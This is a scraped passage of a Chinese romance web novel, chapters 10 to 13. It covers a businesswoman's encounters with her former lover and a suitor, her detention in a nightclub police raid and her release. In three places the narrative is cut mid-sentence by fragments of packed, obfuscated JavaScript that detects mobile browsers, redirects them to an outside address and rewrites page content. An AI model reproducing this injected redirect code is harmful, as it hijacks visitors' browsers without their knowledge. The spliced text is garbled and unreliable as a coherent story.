“谢谢季总,我还有事,就不麻烦您了。”孟慈飞快地撇了季曲一眼,然后转身。 “谈什么项目啊?”季曲像是被刚刚桌上的酒迷了神。 一而再再而三地搭话,拖住孟慈。 落在地毯上的模糊人影明明灭灭地牵扯在一起。 “季总好奇的话我回头传项目书给您。”孟慈搬出官方态度,对上季曲纠缠不清的模样,更显淡漠。 对话进行到这儿,季曲再看不清孟慈对自己的态度才是装傻充愣。 图什么啊? 人家一点好脸都不给,倒显得自己跌份儿。 眼看着季曲的脸色逐渐灰暗,孟慈才反应过来有些不对。 未来黄景峰和公司少不得和季家打交道。 地方就这么大,自己倒是拍拍屁股走了。 总不好叫剩下的人为难。 话在脑子里打了个转又回到舌尖。 孟慈卸了点刺,解释道:“我妈最近去新西兰旅游,说是喜欢的不得了,我准备给她在那儿买套小房子,陈总和公司合作不少,我就趁这次回国陪着打打关系。” 一番解释下来。 就算是没几分真心也终归缓解了两人之间的干涩气氛。 幸亏孟慈孝顺这儿事不假。 她和季曲在一起那段时间挣的钱都给妈妈买了房子,写的通通是妈妈的名字,自己名下什么都没有。 除了季曲送了一套别墅一辆跑车。 不过分手后孟慈倒是把这些都还回来了。 季曲顺着台阶下了:“嗯,那儿挺适合养老,阿姨身体怎么样?” 孟慈赔了个笑,和刚刚在酒桌上大差不差,“挺好的,还是老毛病,变天时候腿脚不太方便。” 两人一问一答。 一来二去的还真像是久别重逢的故友会面。 孟慈刚刚喝的那杯酒开始反应。 喉咙逐渐灼烧,脚下发软。 但是季曲的大半个身子挡在自己面前,让人没法离开。 “季总。” “季总。” 同样的称呼,两道不同的声色。 孟慈稍稍侧头,刚好看到捧着外套来找人的袁晶。 即使在不算清晰的灯光映衬下,也能看出几分好颜色。 季曲没动,他盯着孟慈流畅饱满的侧脸。 面上不算明朗。 察觉到有些停滞的氛围,袁晶停在不远不近的地方,没敢往前。 她站在那儿伸出胳膊:“季总,外面起风了,我来给您送外套。” 精美奢靡的建筑哪里会被恼人的夜风侵袭。 不过是借口。 袁晶看着面前的两个人,心里不免泛空,今晚总不能无功而返吧? 家里还等着用钱。 她沉住气,硬着头皮又往前走了一小步。 高跟鞋与地板撞击发出清脆声响。 足够提醒两人此处还有自己在场。 孟慈有了推开季曲的理由。 她的目光从袁晶身上收回,换了副社交嘴脸:“季总,那我先走了,希望未来有机会合作。” 季曲这次没再留人。 他缓慢地后退半步,把离开的空间腾出来。 孟慈走的很快,飞起的一小缕发丝擦到了季曲的衣袖。 孟慈刚回到包厢门口,人还没来得及进去就看到孙谦突然冒了出来。 他手里还拿着孟慈的包和外套。 孙谦笑着迎上去:“黄总他们有些喝多了,不然我先送您离开?” 孟慈透过门缝往里看了一眼。 确实有几位已经躺在沙发上。 大概又是季曲授意。 孟慈不是傻子,没必要上赶着把自己奉献出去。 这里有黄景峰看着,应该也没什么问题。 这么想着,孟慈接过自己的东西,看着孙谦说:“上次在医院谢谢你,后来让方萤约你吃饭,你一直忙就搁置了。” “您太客气了,不是什么大事,刚好那天去谈合作碰到您自己在那儿输液,身体恢复的怎么样?”孙谦不敢居功,但偏偏季曲又要保密,只能硬着头皮装下去。 孟慈笑笑,语气温婉:“还是要谢的,回头有时间了您随时联系。” 季曲回到包厢的时候,孟慈刚好下楼。 他背对众人站在窗边,接着月色打量。 孟慈走得慢。 她脚上的高跟鞋不适合走铺满鹅卵石的小路。 稀疏的路灯也暗,根本照不清夜路。 就这么一小段时间,胡志也听说了隔壁是孟慈的局。 他通过彭昱通那儿挖到了不少有关孟慈的消息。 结合刚刚季曲的表现,心下便有了盘算。 胡志端着酒冲季曲的背影试探道:“听说孟总也在旁边?要不要一起喝一杯?” 他还不知道孟慈已经离开了。 “叫她干嘛?”季曲头都没回。 季曲语气不算好。 一众人面面相觑。 跟着季曲回来的就被撂在一旁的袁晶,反而动了动心思。 用不着胡志多说,自己也不想白跑着这一趟。 总得抓住点什么。 “孟总是刚刚隔壁的那位女生吗?我看她和我差不多大。”袁晶笑着开口,又鼓起勇气捏着打火机走到季曲面前。 “她只比你大三岁,看不出来也正常。” 季曲微低头,是让人帮忙点火的意思。 “才三岁就已经是孟总啦?我好佩服她。”袁晶连忙点火燃烟,看到季曲默默吞吐两口,才稳了心神。 又说:“有机会的话能和孟总说几句话就好了。” 季曲听到这儿倒有几分乐了:“说什么?” 没想到季曲会反问,袁晶顿了一下才继续开口,“想和孟总请教下怎么能这么成功的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345815|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季曲看着袁晶水波满盈的眼,也跟着荡了几分笑意出来。 胡志看到这儿连忙说:“还用得着和孟总请教,她可是季总一手教出来的,你应该直接和季总请教,舍近求远了不是?” “我哪能教的了人家?”季曲走回主位坐下。 “真的呀?那季总能不能也教我两手?看着就要毕业了,我也好学点本事傍身。”袁晶跟着落座。 季曲找到烟灰缸磕掉一截灰,脸上的笑意不知道什么时候又消失了。 他接下袁晶递上的酒,含了一口在嘴里,等到酒液变温才缓缓咽下。 “下次吧。” - 假期结束,孟慈再次回归学生身份。 在学校重启两点一线的生活状态。 沈棠溪有事请假回国,自己也跟着清净不少。 但也有一些改变。 除了学校里的追求者照常献殷勤之外,孟慈手机里还多了不少越洋电话。 自从安娜弟弟的生日结束,不少人通过各种渠道添加上了孟慈的联系方式。 明追的有,暗撩的更不少。 甚至还有想包人的。 只不过孟慈都没什么兴趣罢了。 能拉黑拉黑,能回避回避。 但是其中有一位竟然直接追到了孟慈学校门口。 造价昂贵的轿车载着娇艳的玫瑰花束挡在路中间。 正逢下课时间,大家路来路往的都会看几眼。 一看到被告白的对象是孟慈,便更来了几分兴致。 和孟慈告白的一个月没有十个也有五个。 高矮胖瘦、贫富文武应有尽有。 偏偏孟慈一个眼神都不会给。 久而久之大家也好奇这位东方美人究竟会被何方神圣摘走。 “孟总,好久不见。”石骏庭看见孟慈出来连忙上前,“来这边谈生意,正好顺路来看看您。” 孟慈对石骏廷的印象不深。 只记得他好像后来来过几次公司,想约自己聊聊,但是被自己安顿方萤打发了。 她微笑道谢,拎着电脑错身离开。 石骏庭多少也听说过孟慈的往事。 难追、难接近,但是回报大。 不管是她个人容貌,还是她所代表的符号意义。 经过多番衡量,走这一趟利大于弊。 石骏庭追上孟慈的脚步。 “晚上有时间吗?想请你吃个饭。” “不好意思,不太方便。” “我们公司是做新能源的,硅晶你听说过吗?听说你们公司最近也感兴趣,或许我们可以谈谈。” 这番橄榄枝递的讲究,真的伸到了孟慈的窗口。 停下脚步,孟慈回想起方萤之前提供的资料信息。 石骏庭还真是做新能源起势的。 就现下的公司状况来说,多接触也不是不可以。 毕竟新西兰的别墅不算便宜,自己又不想委屈妈妈。 “好啊。”孟慈的态度转换得有些快。 “……而且我们最近有些项目想推进,如果你感兴趣……好啊?”石骏庭还没说完打好的腹稿就得到孟慈点头,不免意外。 “我感兴趣的,麻烦您把餐厅位置发我,晚上见。”孟慈从硕大的玫瑰花捧中抽了一支出来,看着石骏廷微怔的眼,出言感谢道:“谢谢您的花。” 11. 第 11 章 石骏庭订了间市中心繁华地段的私厨。 灯光昏暗,管弦优美。 孟慈吃到一半就感觉饱了,后半程一直在品香槟,没再动刀叉。 看出来这点,石骏廷便叫来服务员说后续的菜不用上了,直接上甜点就好。 另外又给出不菲的小费。 悠扬乐曲间,孟慈从玻璃杯身的反光面看到石骏庭丝毫不加掩饰的侵略眼神,她握着水杯,“您可以继续吃。” “我不是为了吃饭才来的。”石骏廷绅士一笑。 提拉米苏上用糖淋了小巧装饰。 孟慈用叉子磕了一点下来,放到嘴里。 她冷不丁地想起冬天的糖葫芦。 上次什么时候吃的已经忘记,但是糖衣破裂后在口腔里划出的小口子倒是真的疼,比口腔溃疡还疼。 石骏廷又给孟慈续了杯。 瓶身的水珠滴在红绒桌布上,晕出深浅不一的小圈。 面对盛装出席的石骏庭,孟慈自觉身上极简设计的湖绿色丝绸长裙多少显得不太尊重人,毕竟是来谈生意的。 “孟小姐喜欢直接的还是慢慢来?”石骏庭举杯倾斜向孟慈。 “直接的。”孟慈回举,杯身相撞发出清脆叮当声响,“毕竟大家都时间宝贵。” “好。”石骏庭笑笑,“我有几个问题。” “您问。” “公司是否还是孟总说的算?” “是。” “我手里的项目孟总是否感兴趣?” “是。” 石骏庭笑意更深,他问:“最后一个,孟小姐目前是否单身?有没有谈恋爱的打算。” “这是两个。”孟慈避开答案。 “我太心急,那就……孟小姐觉得我怎么样?” 一曲毕。 换曲的间隙餐厅逐渐泛起低沉的人声,中文、英语、法语…… 不同的语种却同样被浓重的酒味浸润,大多醇厚婉转,低低叙述着各种情意。 孟慈略微侧颈,听了一会儿,对面那人也不催,往椅背上一靠,安静等待,直到音符再次响起,孟慈才抬眼回答。 “我对您的项目更感兴趣。” “这我倒是心里有数。”石骏庭坐直身体,“但是买一赠一,这项目一定不是赔本买卖。” 对于石骏庭的底细,孟慈不算底清也算半知。 白手起家,野心勃勃,为了事业什么都豁得出去。 想起方萤准备的个人信息,三十五岁的年纪配上这张脸倒也不算失衡。 “我很宝贵,不做买卖交易。” “孟小姐当然宝贵,所以,被买卖交易的是我。” 石骏庭的眼神透过镜片折射出商人的市侩神色,他自以为握有筹码,高傲开口:“我知道,黄景峰是那位留下给您的,但是…这么多年过去了,人一定也不如当初好用,孟总公司的事,我也不是全没听说过……” 孟慈来了兴致,笑着饮尽杯中酒,“您继续。” “和我在一起,我带着我的团队过来,把公司做大做强,新能源的市场几乎把在我的手里,再加上您的助力,就是如虎添翼,不用几年,我保证,孟小姐学成归国后一定能得到更可观的利益和社会地位。”石骏庭越说越自信,连下巴都不自觉地抬了几分。 孟慈的胳膊放在桌子上,朱砂手串滑到小臂。 她双手交叉,轻轻撑着下巴,盯着石骏庭,始终保持浅笑。 孟慈一直到石骏庭说完才提问:“石总之前问我觉得您怎么样,是单纯地想当合作伙伴?” 石骏庭怔了一瞬。 而后连忙直起不知道什么时候靠在椅背的上半身,收起精明,勾唇一笑,摸了摸梳得油亮的发丝,释放自以为是的魅力。 孟慈这个人,在安家花园初见的那面太过惊艳,再加上她背后的公司利益,在一起玩玩不算亏。 尤其是当下,孟慈特地挽了发,雪白肩颈露在外面,精致的锁骨盛着一抹水晶灯光,她端着红酒杯,深色酒液被光线折在她的皮肤上,让人不由产生联想,那么美的凹陷,一定是最好的盛酒器。 “石总?”察觉到对方视线在自己身体上流连,孟慈出声打断。 “嗯?”石骏庭回神,对上孟慈潋滟的眼眸,求爱之心反倒真切不少,“当然不止,我也希望孟小姐能陪我一起,我会每个月飞来看你,每个月给你打二十万零花,看你刚刚是打车来的,有没有喜欢的车,我送你。” 一旦沾上铜臭,人格尊严就会被低看一等。 刚刚话语间还称自己为“您”,现在到变成“你”了。 好像开出了多么了不得的条件一样。 孟慈有一下没一下地晃着杯身,酒液在漏出的边缘徘徊。 她的目光专注在杯口,仿佛在做什么极有趣的游戏。 “如果孟小姐觉得不够满意,我们可以……” “我满意的呀。”孟慈把酒杯放在鼻尖下方,嗅了嗅,“但是我还是想先看看合作情况,毕竟工作中更能了解一个人,要是后续也不错的话……” 其实孟慈说话的语气没什么变化,始终保持在进退有度。 只不过石骏庭的心绪开始翻涌,还没等八字画上一撇就想象到了孟慈盛装挽着自己手臂陪自己出席活动时温柔小意的模样,霎时间志在必得的神色挂了满脸。 晚餐结束后石骏庭还邀请孟慈去品酒,孟慈婉拒。 约好了下次谈项目的时间后,她毫无留恋地转头上了街边打着双闪的车。 是家中阿姨提前叫好的。 返途中,孟慈想到刚刚聊到具体项目时,石骏庭倒是不急不缓。反倒是自己着急推进。 一顿饭下来石骏庭以为自己占了上风。 不仅不回答,还打起太极。 一会儿说要去南半球考察,一会儿说公司事务繁重,恐怕没时间再特意跑一趟。 孟慈不是拖沓的人。 她问了石骏庭最近的空闲时间,便当着石骏庭的面掏手机订了机票,说到时候会带着公司的人拿着初步合作方案上门拜访。 这种“上赶”的态度极大取悦了石骏庭。 他一边笑孟慈还是年轻着急,语气间多了几分上位者的“教导”口吻,一边把自己准备好的见面礼递给孟慈。 是一套首饰,并不珍贵,但是也需要不少配货额才能拿到。 思绪翻飞。 直到司机说目的地到了孟慈才回神。 她道谢下车,车费都是阿姨在处理。 夜里有些飘雨。 阿姨照旧站在门上,拎着照亮的灯,撑着伞。 见到车子停下后便三两步地迎上来。 一边接孟慈下车,一边给司机递了一个保温杯。 返回屋子时,阿姨说没想到孟慈会喝酒,最近天凉,就熬了姜汤,现下看孟慈应该也不会喝,便准备再起锅熬点醒酒的汤水。 孟慈说不用麻烦,晚上喝了不少,肚子里已经没有空位。 她自然而然地想到,那桶保温杯装的也一定是姜汤。 “您也喝点姜汤暖暖身子再睡,我直接上楼休息了。” 孟慈在玄关处和阿姨告别。 因为见了凉风,酒劲上涌。 她的脚步有些虚浮,把着扶手爬了好久的楼梯。 孟慈进了卧室后把自己摔在柔软香甜的床里。 包包被甩在木地板上。 石骏庭刚刚送的礼物顺着惯性滚出来。 冰凉华丽的珠翠散了满地。 窗外的雨声逐渐大了,窗户被吹得吱啦作响。 孟慈努力挪了头,扬颈去看。 夜与雨雾相交,正值浓时。? - 一转多天,孟慈再次飞回北城。 白天她正在公司和方萤等人过项目书,却突然接到石骏廷的电话,电话那端的人说会议需要提前,因为他后期要去其他地方谈生意,虽然言语里偶有抱歉的字眼出现,但是语气却丝毫不显。 孟慈倒也没恼。 反正自己因为要参加安娜的生日,刚好改签了机票提前几天飞了回来。 挂了电话,她私人批出高昂的加班费,带着团队连夜把项目书提前三天做了出来。 到了安娜生日当天,一帮人张罗着去了最近新开的一家夜场。 老板是南方人,装修酒品玩法花样自然新鲜些。 孟慈白天在公司和法务又过了一遍项目书。 接到安娜的电话时才发现已经过了晚饭时间。 挂了电话,方萤看了眼手表,一边收拾文件一边问:“送您直接过去?” “我得回家换个衣服。”孟慈站在落地窗前抻了抻腰,“车钥匙给我吧,你们直接下班。” 安娜给自己的生日party定了主题,要求女士必须都穿黑色礼裙。 知道孟慈临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345816|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时回来行程匆忙,安娜就自作主张地在Tina那儿选了件礼服。 本来想给孟慈送过去,但是大家又不知道孟慈回国住哪。 毕竟当初孟慈和季曲同居的那套房子早就空置。 不想提起往事。 安娜便叫孟慈找人去取,自己就不送了。 到工作室的时候已经将近十一点。 孟慈提前打过电话,前台的接待见门口停了车便立马拎着纸袋出门。 “麻烦你了。” “没事的,孟总这是安娜小姐订好的衣服,要不要打开检查一下?” “不用了,辛苦你,我先走了。” 把硕大的纸袋扔在副驾驶位,还没走出一个路口招摇的玫瑰味就散了满车,打开车窗,夜风温吞地刮进来,散了几分脂粉气。 还没等进家,安娜的电话就再一次打了过来。 “宝贝你怎么还不来~” “我刚取上衣服到家,换好就去。” “我可是挑了最漂亮的一条,几乎和我的一样漂亮了要。” 孟慈进家后把手机开了免提放在茶几上,空出手去拆礼服,拆的时候突然觉得份量好像偏轻。 “你选的什么款式?” “美若天仙的款式。”安娜始终对自己的审美保持高度自负的状态。 几个呼吸后,孟慈看着手中的单薄布料不常见的慌了神。 钻石串成的肩带吊着前后两片薄若蝉翼的黑色裙身。 就这个裙摆长度孟慈怀疑安全裤穿了都能当外裤。 “……你想冻死我?” “什么呀宝贝?” “今晚的主题是维密秀?” “……” 安娜那边安静了一瞬,然后又嬉皮笑脸地闹着,“哎哟怎么国外回来的还那么保守,换上快点来哈宝贝~” 接着就是电话被挂断的忙音。 盯着面前的礼服沉思了一会儿。 孟慈反倒觉得可能真的是自己的问题。 毕竟出国这段时间别说礼服,就连高跟鞋也大都被束之高阁。 所以上次回来才把脚磨得血肉模糊。 孟慈想着想着就看向自己的脚跟处。 一片白中磨出深红一点,十分难消。 换上礼服,从衣柜里翻了风衣裹在身上,竟也比裙身要长几寸。 拢住胸前裸露的大片肌肤,孟慈从玄关拿起车钥匙出了门。 会所的外观修得极尽奢华。 黑色的石柱,炫目流彩的灯柱,极端引人注目。 扫了眼消费的顾客,身材火辣又布料简单清凉的数不胜数。 还真是孟慈保守太多。 一进门就有接待人员上前服务,询问孟慈是否有预约。 孟慈报了安姓。 服务生却在查询后摇头,没有这位客人的预定。 孟慈思索了下,又报了赵姓。 依旧没有。 “要不然您给朋友打个电话?”服务生抱歉开口,他也不敢随便放人进去,前两天就有一位夫人带着不少人来捉奸,把场子砸的稀碎。 孟慈一连打了三个,都没人接听。 想是应该玩在劲头,顾不得看手机,孟慈打了退堂鼓。 恰好旁边有两名服务生推了一车礼物盒子,中间还放着六层高的蛋糕。 孟慈指了指:“就是今晚生日的那位。” 服务生顺着孟慈手指的方向看过去,又收回眼神在孟慈身上反复打量。 而后便笑着说那就没问题了,让孟慈直接跟着进去就好。 随着音乐声越来越大,灯光越来越昏。 孟慈怎么想怎么觉得哪里有些不对劲。 还没等搞清脑海里的疑问,目的地就到了。 孟慈和推车一起进入包厢。 一众的俊男美女,都在孟慈推门而入的刹那汇集目光。 伴随着幼稚的生日快乐歌。 孟慈在单纯音符里看着倒挂在钢管上的舞者和沙发深处衣衫不整的男女愣在了原地。 直到包厢的灯被打开的那一刻,孟慈才回过神。 同时,她的身后涌进不少人。 孟慈还没等回头就被反剪着手按到了最近的墙上。 墙纸浸满烟酒味,上面还有不知道是唇膏还是什么染出来的红色痕迹,耳边的声音几乎震天响。 “都别动,在原地蹲下!” 12. 第 12 章 季曲是在赵一辰打到第五个电话的时候才接的。 最近公司里有个房地产项目出了包,投资方之一被查,连带着手下的骨干都消失不见,扔下诺大的摊子等季曲收拾。 中间的人情关系复杂。 自己干脆过来公司亲自盯着。 酒局一个接一个,要打关系的人一批又一批地换。 季曲每天睡醒都要反应一下自己在哪。 季家照例召开家庭会议。 季曲不得不告假转到线上出席。 会议期间手机震动次数太多。 就连屏幕那边的华婉都皱起了眉头,说有要紧事就接电话。 季曲点点头,说马上回来便闪出摄像头的服务范围。 “喂!哥!你在北城吗?”还没等季曲说话赵一辰的声音就从听筒冲了出来。 季曲皱眉把手机拉远几分:“吵。” “不是哥!救命的大事!你在不在啊?不在我们就找安娜大伯了。”赵一辰依旧急得冒火。 季曲扫了眼墙上的钟表,已经凌晨两点。 赵一辰虽说不靠谱但也算不上太荒唐。 安娜大伯最近刚刚提了一级,正是新官上任意气风发的时候。 估计赵一辰是真有急事。 季曲从小到大就没少帮跟在他屁股后面的人们收拾过烂摊子。 费不了多少劲儿。 “说吧,什么事?” 季曲已经连开了三个小时的家庭会议,他揉了揉紧绷的眉心,“说吧,什么事?” 走到餐桌旁,忽略阿姨准备好的补品甜汤。 季曲给自己倒了杯凉茶压燥。 “今晚安娜生日,我们一伙人来新开的夜店玩,一开始都没什么事,后来隔壁包厢突然吵了起来,我们开门去看的时候隔壁已经空了,后来经理也支支吾吾地说是好像被警察带走了,但是肯定和他们夜店没关系,让我们放心玩……” 赵一辰显然喝了酒,口齿不清不说,就连思绪也是断断续续的。 最近严查严打,估计是碰上夜查,听着就不是什么大事。 季曲一口气灌了半杯冷茶,口腔被苦涩填满。 “说重点,我还有事。” “…重点,对重点!”赵一辰重复了几次才恍然大悟般地开口,“孟慈也回来了,说要来找我们,但是我们等了好久还没见到她人,打电话也不接,刚刚抓着他们夜店的服务生问说是好像也被带走了但是不确定是不是她,我们还在调监控……” “谁?”季曲按了几下音量键,又把手机贴在耳边,怎么这个赵一辰声音该大的时候不大。 “孟慈!哥,我说孟慈!你是不是信号不好啊?”赵一辰最后一次重重地念了出来,“孟!慈!” 手中的茶杯落地,发出一声闷响。 褐色茶水浸满灰色地毯,即使在月光的简陋照亮中也能看见染了大半,大概率是洗不出来了。 “确定吗?” “不确定啊哥,但是……” “行了,知道了。” 季曲挂了电话,左手手指由前往后穿过发根,将原本妥帖的发梳乱不少。 用手机操作退出线上会议,他只留下一句临时有事的信息后便匆匆下线。 华婉隔着电脑屏幕根本叫不住人。 只能辗转找到季曲所住别墅的管家询问。 管家连忙从房间出来,也只看到一只茶杯孤零零地躺在地毯上。 自清代便传留而来的白瓷就这么裂了缝。 缺了这一只,整套瓷器的价值都要大打折扣。 那边孟慈到了派出所后,通讯设备全部上缴。 一起被带回来的人大多处于醉酒状态,挣扎喧闹。 逼仄的空间本就憋闷,再加上人们一闹,更显氧气稀薄。 做完体毛检测,孟慈被带回来,还没进门就闻到刺鼻气味。 不知道是谁吐在了地上,满是污秽。 孟慈捂着鼻子问警察能不能换个屋子待着。 这一群人中孟慈的态度最好,意识也清醒,打眼一看其间的状态,警察倒点头也同意了,还没等抬脚离开,屋子里又闹了起来,推搡成一片。 孟慈背对门站着,没防备的被里屋摔出来的人们扑倒在地上。 撞了个实。 脚腕处传来钻心的疼意,像是被极细的绣花针密密麻麻地扎进骨□□隙,让人倒吸冷气。 等到混乱结束后,孟慈已经脸色惨白,豆大的冷汗从全身的毛孔往外溢。 由于大家摔倒时相互揪扯,孟慈不知道被谁长靴上的尖锐装饰划了腿,破了几处。 其中位于小腿内侧的一道较深,血蜿蜒落下。 连忙叫了所里的医护人员给孟慈包扎。 刚好检查结果也出了,孟慈一清二白。 她问自己能不能离开去医院。 本来是没问题的。 但是突然来人说是谁都不能离开。 原来是对男男女女的手机进行检查后发现有人干的是□□交易的活。 打击“黄赌毒”,一视同仁。 孟慈失联近四个小时后,季曲驾车行驶在路上。 赵一辰的电话不知疲倦的往进打。 季曲忙着找人打听事情,便直接把号码拉进黑名单。 赵一辰只能不断发消息确认。 等红灯的间隙季曲甩过去一个定位。 那边回复一句【马上到!】 这才安静下来。 没过一会儿手机又开始震动,季曲按了下耳边的蓝牙耳机。 “叔叔,不好意思这么晚麻烦您了……对,捞个人.......” 一路上红灯不断,车子总被逼停。 季曲抬腕看时间,滴答滴答的机械声在安静车内更尖锐。 他逐渐烦躁。 扫了眼四周,凌晨的街道几乎没有车辆。 反正已经开口找人帮忙,也不差在深夜无人的马路上闯几个红灯。 今晚没什么星星,乌云密布。 黑缠绕着一切高处的可视物。 连路灯都被遮挡朦胧,像是起了场大雾。 工作人员口吻生冷,一副孟慈已经是犯罪份子的模样。 正当孟慈第三次提到要联系律师时,审讯室的铁门突然被从外敲响。 审讯桌前的警察走出去。 过了一会儿又回来,不仅态度软和不少,更是直接走到孟慈身前解了手铐。 孟慈跟着人出来,烦躁地摸了把不知道什么时候已经打结的头发,蹬掉脚上已经不合适的鞋,赤脚站在大理石砖面。 她从警察手里接过自己的包和外套,掏出手机往外走。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345817|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 电话还没播出去就被正对面突如其来的车灯晃了眼。 孟慈抬手去遮。 过了几秒,车灯熄灭。 孟慈才看清还有个人站在刚刚的光影里。 只不过光影太亮,现下才显形。 季曲站在黑漆漆的院子里。 他注视着孟慈,没什么表情,冷眼旁观一样。 不知怎么。 在季曲的注视下,孟慈觉得无穷无尽的酸意猛然涌上心头。 几乎是瞬间,眼眶就湿润。 孟慈眨眨眼,挪开视线,继续拨号。 电话铃声响起。 除了孟慈手机听筒中的连接声,还有方萤公式化的系统铃声。 很小的音量,甚至都比不上孟慈的心跳声。 抬头去看,方萤正一脸担忧地站在众人中。 安娜和赵一辰也在。 他们都比季曲站的要靠后,此刻也正面对着自己。 “孟慈……” “你先别急!” 眼看着就要冲过来的安娜被赵一辰一把抓住扯到自己身边。 孟慈收起耳边的电话,手臂因为惯性在身侧缓缓甩了几下,像只钟摆。 冰凉的大理石面开始向身体传温。 脚逐渐发痛,刚好与头部的火热碰撞。 在孟慈体内激烈对抗。 就像是两军对垒,场上无人动作。 过了很久,久到安娜的耐心耗尽,试图再次往前冲时,终于有人动了。 最终还是季曲先抬脚。 突然飘落的一颗雨珠他的点在眼皮。 季曲抬头,秋雨蒙蒙。 伸手摸掉眼皮上的水,季曲大步行进。 他站在屋檐下,与孟慈面对面。 “怎么搞成这样?”季曲开口,无奈又偏纵。 “没怎么。”孟慈敛着情感,从齿关逼出三个字。 明明理智还没投降,偏偏身体先一步开始叫嚣着委屈难活。 越想压抑越汹涌,孟慈干脆垂着眼不抬头。 “没必要和我这样的,孟慈。” 季曲去接孟慈手里的杂物,孟慈没给。 “真没怎么。” 孟慈抬起头,早前的湿意已经消失无踪。 她甚至还扯着嘴角努力给季曲一个得体笑容。 即使配上她现在稍显狼狈的模样不怎么令人信服。 还以为她这几年真的锻炼到刀枪不入。 季曲要不是观察到孟慈颤抖的嘴角,真就差点想错了她。 “把车开近点。”季曲扫了眼孟慈因为冷意而战栗的双脚,转身朝后面说了一句。 虽然不知道他在冲谁说话,但自然有人开车过来。 由于台阶,车子无法直接停在孟慈面前。 季曲转身将自己手中的外套展平。 低头大致量量便松手一扔。 昂贵的羊绒外套变成临时地毯,铺在孟慈与车子之间,遮住满地尘埃。 “回家了说了一声。”季曲说完便自顾自地上车离开,轮胎碾过碎石发出沙拉声响。 倒是利落冷淡。 孟慈松开一直紧咬的牙关,连腮帮子都发酸。 她将失去造型的发丝统统拢到耳后,绕开季曲捐献的“地毯”,踩着一地狼藉,上了方萤的车。 13. 第 13 章 方萤只送到电梯口。 孟慈自己一瘸一拐地回了家,她今晚彻底失了引以为豪的耐性。 玄关是黑的,客厅是黑的。 外套与高跟鞋散落在木地板。 一直到卧室边缘才有一点光亮。 浴室的水汽爬满玻璃,也蒸湿了孟慈的思绪。 一切都湿漉漉的,不久前的画面在眼前反复上演,逐帧重播。 难看又难堪。 赤裸的皮肤在水柱的冲洗中变得洁净。 血与污和水混在一起流往下水道。 伤口与狼狈无所遁形。 孟慈直到双腿站到麻木才拖着身子出来。 在玄关处按照方萤的提示找到药箱。 孟慈坐在沙发上抽出纸巾沾了沾还在冒血的伤口。 在一众药品找到碘伏涂抹消毒。 血红与棕黄融在皮肤纹理中,愈发渗人。 沙发旁的钓鱼灯低低地垂着。 光打温孟慈的半侧身子。 她抱着抱枕发呆,双腿搭在茶几边缘,等待干透,再上新药。 雨淅淅沥沥地一直在下。 窗户早上走的时候没来的及关。 雨滴顺着风飘进来,落在茶几的文件上,打湿了几页。 手机里还有一连串待处理的消息。 撇开嘘寒问暖的不看,还有石骏廷的工作会议邀约。 孟慈迟迟未回,那边便隔一会催一下。 扰得孟慈愈发烦躁。 还没等做好心理准备拿起手机回复,玄关处又传来动静。 “滴滴——” 机械化的 电子音效在寂静深夜更显清晰。 输入错误,提示响起,再次输入,依旧错误……循环反复。 孟慈高高悬起的心反而安定了些。 这套房子的物业管理很好,出现小偷强盗的情况几乎没有。 还有谁呢? 还有能谁呢。 在雨夜的不速之客,猜也能猜到。 季曲在输入第八次密码时,门从里面打开。 孟慈身上披了件丝绸睡衣,一副要就寝的模样。 发丝妥帖地分在胸前,柔顺又潮湿。 她脸色还有点白,多少受了凉,也可能是受了惊。 季曲越过孟慈,往屋子里扫了几眼,没见到其他人影,便将自己手里的药袋子递出。 一次性的透明塑料袋发出呲啦的劣质声响。 上面还附着水汽,印着连锁药房的地址与电话。 孟慈眼皮都没抬:“上过药了,谢谢季总关心。” 季曲没应,毫不客气地绕开孟慈进了屋。 “我说我上过药了,麻烦季总离开。” 季曲再次光临。 这套房子依旧空荡,算不上家徒四壁,但也称不上是什么好住处。 比起两人之前的那间,差的离谱。 看了眼沙发垫上的褶皱部分,孟慈刚刚应该就坐在这儿。 桌面垃圾桶里还有使用过的碘伏和棉签。 止血止痛的药规整地立在茶几上。 显然孟慈还没来得及用。 季曲把药袋子放在茶几上,压住了文件,将里面的药品一件件摆出来,“上我的,我的好。” 孟慈站在玄关处,门始终开着,室外的灯光打进来,照亮她高高肿起的脚腕。 “这是我家。” “过来。” “请你离开。” “过来。” 季曲四处看看,他先是走到厨房的岛台处洗了手,抽出一旁的纸巾擦干。 然后立在客厅中央,坦荡地对上孟慈的眼,释放出他的没半点商量余地的态度。 孟慈依旧站在原地。 尽管她受伤的那侧腿已经有些发抖。 又来了,这幅软硬不吃只会虐待自己的性子。 季曲心里奇怪。 明明之前自己已经把她的坏习惯改掉不少,怎么两年不见又被孟慈捡了回来。 难道是在国外过得不好? 但这不是孟慈自己梦寐以求的生活? 